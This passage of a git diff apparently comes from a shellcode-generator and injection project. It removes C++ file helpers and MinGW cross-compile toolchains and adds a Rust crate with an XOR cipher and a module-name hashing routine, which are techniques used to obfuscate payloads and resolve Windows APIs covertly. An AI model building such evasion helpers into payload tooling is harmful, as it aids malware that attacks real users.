GenerateKey(size_t keysize); -void XorCipher(std::vector *data, const std::vector &key); -DWORD CalculateHash(const std::string &source); -DWORD CalculateHash(const UNICODE_STRING &baseDllName); diff --git a/shared/futils.cpp b/shared/futils.cpp deleted file mode 100644 index e1a6662..0000000 --- a/shared/futils.cpp +++ /dev/null @@ -1,15 +0,0 @@ -#include "futils.hpp" - -std::vector ReadFromFile(const std::string &filename) { - std::ifstream file(filename, std::ios::binary); - std::vector data((std::istreambuf_iterator(file)), std::istreambuf_iterator()); - file.close(); - - return data; -} - -void WriteToFile(const std::string &filename, const std::vector &data) { - std::ofstream file(filename, std::ios::binary); - file.write(reinterpret_cast(data.data()), data.size()); - file.close(); -} diff --git a/shared/futils.hpp b/shared/futils.hpp deleted file mode 100644 index 49b4554..0000000 --- a/shared/futils.hpp +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once - -#include - -#include -#include -#include - -std::vector ReadFromFile(const std::string &filename); -void WriteToFile(const std::string &filename, const std::vector &data); diff --git a/toolchains/darwin-mingw-w64-x86_64.cmake b/toolchains/darwin-mingw-w64-x86_64.cmake deleted file mode 100644 index 3bce9f4..0000000 --- a/toolchains/darwin-mingw-w64-x86_64.cmake +++ /dev/null @@ -1,26 +0,0 @@ -# Usage: -# *) Install cross-compiler: `brew install mingw-w64` -# *) cmake -DCMAKE_TOOLCHAIN_FILE=toolchains/darwin-mingw-w64-x86_64.cmake -B build -S . -# *) make -C build - -set(CMAKE_SYSTEM_NAME Windows) -set(TOOLCHAIN_PREFIX x86_64-w64-mingw32) - -# Cross-compilers to use for C and C++ -set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}-gcc) -set(CMAKE_CXX_COMPILER ${TOOLCHAIN_PREFIX}-g++) -set(CMAKE_RC_COMPILER ${TOOLCHAIN_PREFIX}-windres) -set(CMAKE_AR ${TOOLCHAIN_PREFIX}-ar) -set(CMAKE_RANLIB ${TOOLCHAIN_PREFIX}-ranlib) - -# Target environment on the build host system (with Homebrew) -set(CMAKE_FIND_ROOT_PATH /opt/homebrew/Cellar/mingw-w64/11.0.1/toolchain-x86_64/${TOOLCHAIN_PREFIX}) - -# Search for programs in the build host directories (modifying default behavior of FIND_XXX()) -set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER) -set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY) -set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY) - -# General compiler flags -set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -static -Os -flto") -set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -static -Os -flto") diff --git a/toolchains/linux-mingw-w64-x86_64.cmake b/toolchains/linux-mingw-w64-x86_64.cmake deleted file mode 100644 index 741336b..0000000 --- a/toolchains/linux-mingw-w64-x86_64.cmake +++ /dev/null @@ -1,26 +0,0 @@ -# Usage: -# *) Install cross-compiler: `sudo apt install mingw-w64` -# *) cmake -DCMAKE_TOOLCHAIN_FILE=toolchains/linux-mingw-w64-x86_64.cmake -B build -S . -# *) make -C build - -set(CMAKE_SYSTEM_NAME Windows) -set(TOOLCHAIN_PREFIX x86_64-w64-mingw32) - -# Cross-compilers to use for C and C++ -set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}-gcc) -set(CMAKE_CXX_COMPILER ${TOOLCHAIN_PREFIX}-g++) -set(CMAKE_RC_COMPILER ${TOOLCHAIN_PREFIX}-windres) -set(CMAKE_AR ${TOOLCHAIN_PREFIX}-ar) -set(CMAKE_RANLIB ${TOOLCHAIN_PREFIX}-ranlib) - -# Target environment on the build host system (with Homebrew) -set(CMAKE_FIND_ROOT_PATH /usr/${TOOLCHAIN_PREFIX}) - -# Search for programs in the build host directories (modifying default behavior of FIND_XXX()) -set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER) -set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY) -set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY) - -# General compiler flags -set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -static -Os -flto") -set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -static -Os -flto") diff --git a/utils/Cargo.toml b/utils/Cargo.toml new file mode 100644 index 0000000..b395b41 --- /dev/null +++ b/utils/Cargo.toml @@ -0,0 +1,7 @@ +[package] +name = "airborne-utils" +version = "0.1.0" +edition = "2021" + +[dependencies] +# panic-halt = "0.2.0" diff --git a/utils/src/lib.rs b/utils/src/lib.rs new file mode 100644 index 0000000..4fcfb99 --- /dev/null +++ b/utils/src/lib.rs @@ -0,0 +1,29 @@ +#![no_std] + +// gen_xor_key isn't required to be a shared module, as it's only used in the shellcode generator + +const HASH_KEY: usize = 5381; + +pub fn xor_cipher(data: &mut [u8], key: &[u8]) { + for (i, byte) in data.iter_mut().enumerate() { + *byte ^= key[i % key.len()]; + } +} + +pub fn calc_hash(buffer: &[u8]) -> u32 { + let mut hash = HASH_KEY; + + for b in buffer { + if *b == 0 { + continue; + } + + if (&b'a'..=&b'z').contains(&b) { + hash = ((hash << 5).wrapping_add(hash)) + *b as usize - 0x20; + } else { + hash = ((hash << 5).wrapping_add(hash)) + *b as usize; + } + } + + hash as u32 +}